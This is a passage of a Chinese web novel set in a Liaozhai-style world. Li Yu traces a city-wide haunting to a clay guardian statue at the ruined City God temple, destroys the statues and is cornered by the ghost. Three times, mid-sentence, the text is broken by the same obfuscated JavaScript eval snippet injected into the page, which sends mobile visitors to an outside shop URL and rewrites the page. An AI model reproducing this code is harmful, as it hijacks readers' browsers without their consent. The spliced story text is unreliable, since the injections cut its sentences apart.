不只李钰,詹贵儿也听懂了,毕竟当初小翠来跟他们聊地府情况的时候就说过,一殿阎罗出事,上下关系皆要被调查,人员变动也在所难免,可地府中人手不够,如今人间好些个地方都没有城隍驻守。只是当时他们并没有在意,却不曾想地方神灵竟有如此重要,可如今常州府城隍庙已经…… 李钰思虑后说道:“你的意思难道是要我们重修城隍庙?” “非也,当初便是天降神罚劈了城隍及众鬼差雕像,告诫人们之前的神灵鬼差不配受香火。重修城隍庙若是没有分配到位的正神,也不过是些空壳而已,尤其在现在这种时间,恐怕这些空壳还会被不知名鬼妖住进去,若养出些邪神来,那此地百姓更不好过了。”窦婵解释道。 “言之有理。”李钰眉头深锁,“那你的意思是?” “正因想到这些我又去了西山附近,发现城中鬼物如今多聚集于西山脚下,山上鬼气森然,阴气冲天,里面恐怕已有鬼物占据。”窦婵语气沉重,她还有未尽之话,那东西到底是鬼是妖亦或是某种邪神她也不知,只是靠近就觉得好不容易平静下去的怨气似乎又在蠢蠢欲动,甚为邪异。 李钰脑中飞速思考,如果那个东西和当初的城隍一派确有些联系,那一开始找上他就不意外了。可天罚之下,难不成竟有漏网之鱼? 一时想不到答案,李钰先谢过窦婵特意来告知消息。 窦婵脸上带着一丝担忧道:“李公子,我将此事告知你并非想让你去冒险,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17362332|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纵然有吕祖法印,毕竟身为凡人,若想解决此事最好还是等白道长回来,或是去请高人相助的好。” 李钰一愣,笑了笑道:“好,我知道的。” 送走了窦婵,詹贵儿坐到李钰身边道:“哥哥要不我去找胡四哥哥和小翠姐姐一起去城隍庙那边看看?” “不用。”李钰揉了揉他的脸,尽量以轻松的姿态道,“哪用得着你去?你在家里守好这一家子已经很辛苦了。” 说着他脸上笑意褪去,“而且胡四相公和小翠已经帮了我们许多了,那些所谓的恩情早都还完了,我们不能事事都去麻烦他们。” 在没有明确目标时,李钰是想过找他们二人相助调查,可既然如今已有线索……此时在李钰脑海中浮现的是当日城隍带着一众鬼差气势汹汹而来,只一击就将胡四相公打伤,小翠和贵儿纷纷护在他身前的场景。李钰转开脸不去看身前的詹贵儿,这次不能再将他们牵扯进来了。 詹贵儿没有察觉,小大人般忧心忡忡道:“那怎么办啊?众鬼越闹越厉害,迟早要出人命的!要是道长哥哥在,一定能把这背后的恶鬼收拾了,只敢躲在暗处作恶的东西!” 他越说越气,并没有看到此时的李钰神色肃穆,像是下定了什么决心的样子。 晚些时候,李钰去找了李化,当初修建城隍庙筹款时,李家是出了大头的,那有关城隍庙中的细节,李化或许知道什么。 听李钰问起城隍庙的事,李化颇有些意外,“城隍庙不都倒了吗?你问这做什么,是不是又在传重修的事了?” “要重修?”李钰反倒被李化问得一愣。 “原来你不知道啊,吴知府给各家递了话,现在也是在考虑要不要重修,毕竟你也知道最近城里不太平。可是那去年城隍庙可是被雷给劈的,这实在还是让人心里毛毛的,吴知府就算想重修,筹款问题也难啊。”李化喝了口茶,又道,“说实话就是你爹我也不敢轻易掏钱,不都说是天罚吗?若是重修算不算逆天而行?” 李钰心中暗道,果然还是老一辈的想问题深入,自己发愁了许多日的问题,老爹居然歪打正着还摸到些边,不过此时也不是探讨这些的时候。李钰让老爹好好回忆回忆,当初修建城隍庙的时候具体都修建了些什么雕像,他想从此处入手找出一些可能被“天罚”遗漏之处。 见儿子表情严肃,李化仔细思索了一番,便翻箱倒柜起来,边找边说:“我记得当初是有图纸的,我这里应当是有一份的,可放哪去了?” 听到这话,李钰也上手帮着找,可父子俩忙了一下午都没把东西找出来,只得暂时放弃。李化凭着记忆画了个草图给李钰看,所供神像李化也一一列举出来,李钰拿着草图看了半晌,似乎与记忆中出入不大,并未发现什么遗漏雕像。 经由窦婵提供的线索,李钰本想着或许是当时天降雷霆之时,有遗落的神像被山精野鬼占据,就此才成形作乱。可这不能解释恶鬼为何一开始就要针对自己家,或许也可能是这鬼怪本就与城隍有关系?毕竟当初正是因为他和白行野的介入,才让城隍等人所为曝光,才遭致了这后续算是报复的行径。 各种猜测涌现,李钰的脑子有点乱,如此一来恐怕真的只能去现场一探究竟了。 84.独面危局(一) 一夜难眠,次日李钰起了个大早,虽然他有纯阳法印护体,但如果真要去城隍庙一趟,他还是得做足了准备才行。刚吃过早饭,李化就来了,他手上拿着一卷图纸,乐呵呵地道:“你说我们爷俩昨天忙活半天,还不如张口问一问你娘,这东西原来早收到库房里去了。我自己都没在意,你娘居然还记得,你快看看有没有你想找的东西?” 李钰面上一喜,立刻接过图纸道:“还得是我娘啊!” 说着,他将图纸展开细看,李化虽然不知道儿子到底要找什么,但也凑到一旁一起查看。 忽然,李钰眼前一亮,手指点在山门处,问道:“这两处是?” 李化想了想道:“我记得就是四个泥塑像,比起殿内那些黑白无常什么的神像来说粗糙多了,大概是做的什么守山门小鬼吧?就跟人家门口放两个石狮子一样。” “说不定就是这东西……”李钰低声道。 “儿子,你找这个东西做什么?”李化这才反应过来似的问道。 李钰卷起图纸,露出与往日没有什么区别的笑容道:“没什么,就是好奇。” 李老爷子有些奇怪,但也没继续追问,大概是城中怪事太多了,儿子有点害怕了?要不重修城隍庙这事还是应下来算了,左右不过花些银钱,安安孩子的心也是好的。 老爹心中的计较李钰自然不知,他想到当初听说城隍庙被毁,只是主殿倒塌,殿中神像尽数被毁,可道士住的厢房和山门却是无损的。城隍庙的道士如今早投了别的道观,空荡的城隍庙里恐怕就剩这山门前的小鬼像了。李钰心中已有了八成把握,果真有漏网之鱼。知晓了此事,他神色并未显出分毫不对,陪着李化回了正院,跟爹娘贫嘴逗乐了一阵,才叫人套车出门,去往城郊道观。 上次来李钰就发现了,此处道长虽说降妖除魔的能力不咋样,可兜售的各类除魔装备、驱邪避祸的符纸倒是花样繁多。他在道观花重金买了一根四尺多长的雷击木和雷雨天锻造的百炼钢,其承天威、纳雷火,有破秽辟邪之效,都是制作法器的上好材料。 李钰在道长口若悬河地吹嘘下付了银钱,然后将此二物又带到铁匠铺,让铁匠将其打造成一把锄头。都是现成的材料,只需将两者楔紧即可,铁匠没费什么功夫就做好了。拿着手中的“法器”,李钰有些好笑,他也羡慕行野那样的飞剑,可他若是准备去砸那泥像,自然还是锄头最趁手。 没错,既然上天遗漏了那作乱的小鬼,那李钰就亲自去将其铲除! 他重生于异世,幸得白行野及各位亲友相助,才能在这鬼妖横行的世界屡屡保全自身,甚至惠及他人。可城隍一事,胡四相公为自己受伤,阎王一怒,行野更是差点连命也不保。这一次府城鬼乱,他既已知晓源头,便也不想再连累其他人,就让他亲自去了结这桩本早该了结的冤孽! 李钰将锄头扔上车,在阿福充满疑惑的目光中,让马夫张大驱车去城西。马蹄声嗒嗒响起,距离城西越近李钰越发紧张,他看似在闭目养神,实则在不断做着心里建设。 说不害怕是不可能的,可毕竟他在这里生活这么久也并非全无长进,融入这个世界他也学到了很多。历史上一些朝代或为了政权稳固,或为了破除过度迷信,发生过许多次毁佛灭道之事,亦有拆庙毁像之举来杜绝民间祭祀。李钰猜想对于神灵来讲,神像被毁、香火断供都不算小事吧?若只是山门前的泥塑里面寄居的小鬼、山精一类,毁了塑像必定伤害更大。 这个时代更有如遇久不降雨的干旱之时,民间也是会出现将河神庙或龙王庙里的神像搬到烈日下暴晒的行径。这样的威胁之举,人们认为是可以很快让神灵妥协,从而降下大雨的。对此,李钰虽只是道听途说,但既然他已经在聊斋的世界中,说不定在这个世界里这些行为真的有用。若他猜测没错,那庙中之鬼如今再如何厉害,应当也比不上龙王吧?连天罚都未曾注意到的东西,定然并非多么强大,否则如何会漏掉它?他自觉以他有纯阳法印护体的情况下,或许真能与之一搏! 握着“法器”的手越来越紧,心中的信念也越来越坚定。李钰双眼睁开,就见阿福正好奇地盯着他,四目相对,气氛尴尬了一瞬。阿福挠挠头,终于忍不住开口问道:“少爷,您这一大早兜这么大圈子买这些东西,到底是要干嘛呀?” 李钰瞥了他一眼,作高深莫测状,“不该问的别问,我买这些自然是有用。” 阿福没有得到想要的答案,闷闷地“哦”了一声,接着又有些兴奋,少爷自从变聪明了后每次出门都不爱带人,有白道长在的时候就是和白道长一起出门,白道长现在不在,少爷也总是自己独自外出,他已经好久没有跟着少爷出来过了。而看少爷今天这架势,定是要做大事的,他已经兴致勃勃准备好好跟着见识一番了! 结果没想到到了西山脚下,李钰拿上锄头跳下马车,看了看天色。今日出门早,又马不停蹄的搞到这“法器”,如今不过也才晌午。他想了想还是决定先填饱肚子,再上山找那鬼东西算账。 他带着阿福和张大在食肆点了一桌好吃的,吃了个九分饱,补充好能量才要上山。阿福不明其意,只紧紧跟在他身侧,李钰见状这才想起来要交代的。于是止住步伐转头对阿福道:“阿福,你和张大哥就在山下等我。” 阿福脸一下子垮了,急道:“这怎么可以呢?少爷,你到底要上去干嘛?你一个人怎么行!” 李钰绷紧了脸皮,厉声道:“你只要听我吩咐去做就行!行了,太阳落山前我就下来。” 阿福可从未见过自家少爷如此疾言厉色的模样,缩了缩脖子,嗫嚅道:“少爷,小人这不是担心你吗?你要做事我在身边给你打个下手也可以呀。” “不用你打下手,就按我说的做。”李钰不为所动,冷漠道,“你们就在山下,好好等着。” 阿福和张大面面相觑又不敢违背少爷的意思,只能点了点头。 李钰这才冲他俩笑了笑,扛上锄头转身往山上走去。 此地荒废了快一年,山梯上布满了灰尘和落叶。望着少爷拾级而上的独行背影,一阵清风卷起他发带,衣袂随风摆动,阿福心里忽然没来由地感到些许不安。 阿福喊道:“少爷,你一定得快点下来呀!若是太阳落山前你还没下来,我们就上去找你!” 李钰脚步一顿,回头冲他们挥了挥手,高声应了一声“好”。 他深吸一口气,好啊,如果万一真有什么事,至少有人给他收尸。李钰的手按了按胸口衣襟里放着的一封信,若他出事便让贵儿借 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17366304|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尸还魂,当初欠小孩的机缘便还给他了。 只是,行野,我真的好想再见你一面。 初秋的风带着一丝寒意打断了李钰的思绪,他定了定神,迈着坚定的步子朝城隍庙方向走去。 越往上走树木越是繁茂,由于这里久无人至,山梯旁的草木也疯长,遮天蔽日地压在李钰头顶,只透过缝隙零零散散的撒下丝缕光线。山林间风吹树叶的娑婆声,鸦雀的叫声,更透出一丝瘆人的气息。李钰如芒在背,几次停下观察却并未看到异常。 终于来到山门前,不过一年时间,居然连山门都已只剩半扇,李钰抬眼望了望大殿位置,果然已是残垣断壁,一片焦黑。他的目光又落在了山门两侧的泥塑上,这四个泥像成对分列两侧,形象比起当初殿内所见众鬼差的雕像粗陋多了。细看下是结合了人与兽类的形象,有些类似山魈或夜叉,个个身躯魁梧却奇形怪状,目如铜铃,巨口如盆,手大如蒲扇,五指如爪钩,手执木雕朴刀,或蹲或站。 也不知是不是李钰的心理作用,这四个泥像粗糙是粗糙,却都怒瞪着眼睛,一个个仿佛都紧盯着他。 他咽了咽口水,想到当日那鬼怪想要袭击他时,伸出的爪子立刻被纯阳之火烧了的情景,心下稍定。他握紧手中锄头,不管三七二十一高高举起锄头狠狠向就近的一座泥像砸去。这第一下他使上十成十的力气,立时将那泥像的手臂敲断!撞击之下李钰只觉双手发麻,他愣了片刻,小心翼翼地直起身子来环顾四周,什么事都没有发生,甚至连风声都不如先前激烈了。 这就有些出乎意料了,难道说他猜错了?李钰眉头深锁,握着雷击木锄柄的手紧了紧。即便是他猜错了,既然已经来了,先把泥像都破坏掉再说。于是他再度提起锄头,往泥像脑袋砸去,一击就去了大半个头。就这样,李钰一边警醒着注意四周动静,一边吭哧吭哧地砸毁泥像。可他没想到这工程居然如此不易,土坯胎质其实并不坚固,可他这娇生惯养的少爷身体做起这体力活也不轻松,不一会儿就脸胀得通红,手臂也是微微发酸,如此小半天过去终于是彻底捣毁了三座泥塑像。 这时候他已经有些茫然了,难道说真的不是这遗漏的泥像中藏有鬼怪,而是其他的什么东西?他真的搞错了? 面对最后一个小鬼泥像,那东西张着血盆大口,獠牙示威般龇着。李钰狠狠抹了一把额头的汗,袖口早已高高卷起,手臂上也不免沾上了尘土泥屑,他这么一擦连脸都花了,狼狈至极。只他自己毫无所觉,再度抬起锄头就要冲着最后一个泥像砸去。 就在这时,变故陡生!李钰脚下的石台忽然松动,他一个不稳,直接跌下山梯滚了两圈才停下,手肘都磨破了一层皮,疼得他龇牙咧嘴。 可由不得他顾及伤势,因为他感觉到自己屁股下面的山梯竟是阵阵摇晃起来,耳边还响起隆隆闷响。李钰猛地抬头看去,只见那最后一个泥像本是蹲坐的姿势,此时竟缓缓站了起来!随着那魁梧的身躯站起,泥屑簌簌落下,它的四肢彻底伸展开来更如小巨人般,压迫力极强!投下了一片阴影将李钰整个人都包裹在其中。 泥塑鬼像动作僵硬,像个行动不便的老者,他的身上也开始溢出浓重黑沉的鬼气,就如那晚李钰所见的鬼物一样! “果然是你!” 85.独面危局(二) “果然是你!” 泥像鬼缓缓扭动脖子,发出嘎吱嘎吱的声响,像某种久未活动过的机械物件。只见它张开血盆大口,便有一阵土腥夹杂着血味的腥风扑面而来,它发出粗重闷哑的声音道:“我本已经放过你,甚至处处避开你,你却不知好歹竟还要寻到我的寄居之处来!你既不要命,那就成全你!”说着便举着木刻朴刀欲上前劈砍李钰,只是因为寄居在泥像身躯中,动作起来较为迟缓。 李钰见状立刻爬了起来,他握紧手中锄头倒退几步,高声道:“你放过我?若非我有吕祖所赐护身法印你会放过我?当日害我不成又想去害我爹,若不是有胡四相公相助,你会放过我们一家?!” 被说中的泥像鬼眼珠一转,再度盯紧李钰时,目如赤电透着狠厉和不甘。李钰这才发现它那对眼珠子此时已非刚才泥刻的模样,而是红得滴血,更是显得邪异古怪。 “你说那个狐妖?”泥像鬼语气轻蔑,脸上竟露出不屑之色,“若非当日天罚之时,连同我也遭到波及受了些伤,你又有吕洞宾护着,故而我才退了一步,不欲与你们相争。可这么多年的香火供奉,我也是在城隍老爷身旁分得过些许的,再加上这些日子吸食的你们城中之人源源不断的阴气,令我实力大增,你以为那个臭狐狸如今还斗得过我?” 李钰闻言面色一沉,“你做了什么?” “怎么?你不知道?”泥像鬼嗤笑一声,“那四处出没的美人首,那无数人的梦魇缠身,还有你们城中的鬼魅横行,你怎会不知呢?” 随着他所言,李钰的脸色越来越难看,压着怒火的嗓音变得低哑,“都是你做的。” 泥像鬼仿佛很享受展示自己的“战绩”,刻画粗糙的面部竟露出餍足的神情,“凡人恐惧炼化的阴气,可真是上等的补品。对了,我们在那王生家里也见过,可惜啊,你若不来他身上的阴气可能供我吸食许久呢。” “你……究竟是个什么东西?”李钰怒不可遏,握着锄头的手已是微微颤抖。 “区区凡人,不配知晓老子的身份!”话落,泥像鬼举起朴刀就冲李钰劈来,李钰早就准备好应对对方随时发难,快速侧身闪避,灵活躲过一击。这才惊觉短短几句话的时间,这泥像鬼的动作竟然快了不少!立刻意识到,方才这鬼物居然只是在拖延时间,以掌控这泥塑的身躯。李钰心头一紧,他既无法力又无武力,必须趁其还未完全掌控此身时迅速击碎这泥像才行。于是,就在侧身躲过的一瞬间,他当机立断,稳住身形后立刻扬起锄头向其出击的手臂砸下! 泥像鬼见状立即撤手,堪堪躲过劈下来的锄头,可李钰这一击却落在木刻朴刀上,木板应声而裂。泥像鬼一惊,随即狰狞的脸上怒意浮现,如金刚怒目,甚为骇人。而李钰视若无睹,并未后退分毫,一击不成立刻迎上去再战。 泥像鬼忌惮他身上的纯阳法印,不敢轻易出手相对,急忙后撤,边退边怒吼道:“李钰小儿,你当真要不死不休吗?!” 又是一锄头下去,坚硬的百炼钢砸在山门上,本就摇摇欲坠的半扇门顷刻倒地,扬起一片尘灰。李钰双手几乎快没了知觉,却是抬头冲泥像鬼嗤笑道:“你错了,我只要你死!” 话罢,李钰又扬起锄头冲向泥像鬼,泥像鬼已是怒极,它本不愿冒险,可此人若不依不饶,它就不得不反击了!泥像鬼闪避的身法越来越快,再一次躲过李钰攻击后,李钰的锄头意外卡进地砖的石缝中,他使力一拽竟没能将锄头拔出来,心下顿感不妙。 就是现在!泥像鬼抓住机会,当即举掌狠狠拍向李钰头顶。劲风袭来,李钰抬头直视迎面而来的阴影,瞳孔骤然缩紧,却见这一掌还未真触碰到自己,他的身上就迸发出如那晚一样的金光。金光如防护罩一样将李钰整个人护住,泥像鬼来势汹汹的一掌在触到金光时随即被点燃,灼热的纯阳之火带着金焰霎时将泥像鬼整个手掌包裹住,赤金火舌顺势还攀爬上了它的手臂。泥像鬼痛得哇哇大叫,可它好歹也是吃过亏的,立即忍痛用另一只手抓住肩头狠狠一扯,断臂脱困!被纯阳之火点燃的那只手臂砸落在地,散发出阵阵难闻的焦臭味。 李钰心有余悸,只觉浑身冷汗淋漓,方才泥像鬼那一掌真给他吓到了,还以为就此小命不保呢,还得是吕祖的护身法印靠谱,没让这鬼东西得逞。 “借助泥像之身居然也不能伤你?!”泥像鬼愤恨道,要是目光可以杀人,眼前这凡人已经被它撕碎了千百遍。它本以为借助泥胎土偶之躯,以此为媒介再行攻击或可避开吕祖法印,结果居然不行!它如今已经吸食了如此多鬼魂怨气和生灵阴气,实力早已不可同日而语,竟然还是拿这个区区凡人毫无办法! 而听了泥像鬼此言,李钰这才恍然大悟,他一开始以为这泥像鬼是为了保住最后一个寄居之所,这才以泥像之身面对他,原来竟还打着借助泥像之躯躲过吕祖法印的算盘。它也不想想,它寄居其中不知多少年,泥像身上沾染了这鬼物的气息,早就算是与它一体了吧,如何避得开?李钰虽是猜想,但心里已有八成把握,有了这个保命的筹码,他信心倍增,原本早该透支的体力仿佛又被注入了一针强心剂。他用巧劲将锄头从缝隙中拔了出来,对着无能狂怒的泥像鬼唇角微扬,面上的脏污不掩他飞扬的神采。可泥像鬼竟从这张俊逸非凡的脸上看出一丝危险的气息,谁能想到它一个老鬼,居然会怕一个凡人? 只见李钰双手握紧锄头,嘴角笑意更盛,泥像鬼来不及再说什么,李钰已经挥起锄头再次冲它而来!断了一臂的泥像鬼如今看李钰就跟看瘟神一样,大惊失色地连连后退,它哪里还敢再攻击李钰?只能控制着泥塑身躯竭力闪避,好在这凡人并无法力,几次下手都落了空,泥像鬼趁机转身往山门内跑去。李钰可不愿放过此等良机,奋起直追,已经到了这一步,无论如何都不能放过它!不能让它继续为祸一方! 泥像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17369699|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鬼奋力疾行,它一跑起来,李钰感觉脚下的地面都在微微震动,可泥像鬼终究被沉重的身躯拖累,渐渐被李钰从后追上。只见他举起锄头又是重重一击砸了下去,这次正中泥像鬼后心,它的背上立时破开一个深洞,就像是被剜去一大块血肉一般。泥像鬼发出一声痛叫,身上的黑雾更盛,将它整个身躯都包裹了起来,它的速度也随即加快,迅速与李钰拉开了距离,直到跑到坍塌的大殿废墟前,回头一看,那个该死的凡人竟还在紧追不放! 打又不能打,逃又舍不得这受过香火的庙鬼泥像,就此放手逃脱,至少得去掉半身法力,这可是他好不容易才又聚集起来的!泥像鬼又急又怒,仓惶之际随便抓起废墟中的一根折断的梁柱,单手高举,转身狠狠向追来的李钰砸了过去。 面对突如其来的飞来巨物,李钰闪避不及,只能护住脑袋蹲了下去,那根梁柱堪堪擦着他的背飞过,好歹没砸在他身上。李钰惊魂未定,支着锄头艰难起身,方站直忽觉身后湿漉漉一片,他颤抖着伸手往后背一摸,只见手上立刻染上一片血红,随即便感受道后背火辣辣的一阵疼,他受伤了! 李钰脸色大变,心中暗道不好! 泥像鬼自然也发现了这一幕,先是一愣,然后大笑起来,“哈哈哈哈哈哈哈,居然如此简单……居然如此简单!我竟没想到!” 吕祖所赐护身法印本是为了驱邪避祟,在纯阳之火守护之下,鬼妖不得近身,可却非是对付物理攻击的啊!意识到这一点,李钰几乎在一瞬间如坠冰窖,遍体生寒。 而这时,泥像鬼那嚣张至极的笑声戛然而止,血红双目似燃起了熊熊大火,只听它咬着后槽牙恨恨道:“小子,你死定了。” 话罢,泥像鬼身上的黑雾迅速升腾涌动起来,就如它此时此刻兴奋嗜血的心情。它周身诡异的黑气如山间迷雾般迅速铺开,然后融入其身后的残垣断壁之中。李钰僵在原地,耳畔一时之间只听得碎砖碰撞、朽木吱嘎、砖瓦摩擦之声,刺耳且不祥。泥沙尘土漱漱落下,城隍大殿废墟中的砖瓦破椽、泥胎碎块纷纷被黑雾托举起来,不过须臾便都悬于半空中,密密麻麻、铺天盖地地围住了整个城隍庙上空。 这些死物似乎带着它们身处地狱的原主人的怨气,在这群狼环伺之下,是李钰一个弱小凡人的,肉体凡胎。 泥像鬼嘴角带着诡异的笑,面目已经兴奋到扭曲,只听它大喝一声,“给我,去死!” 飞沙走石随声而动,疾如流星,同时尽数向李钰所处的位置当头砸下! 天罗地网,李钰避无可避!时间在这一刻仿佛被无限拉长,他只能眼睁睁地看着瓦砾碎石如疾风骤雨,倾泻而来。 他缓缓闭上了眼睛。 对不起了,小贵儿,大概是没法给你一个可以借尸还魂的壳子了。 李钰眼角湿热一片,行野,可惜到最后还是没能再见到你。 “请你们不要怪我……”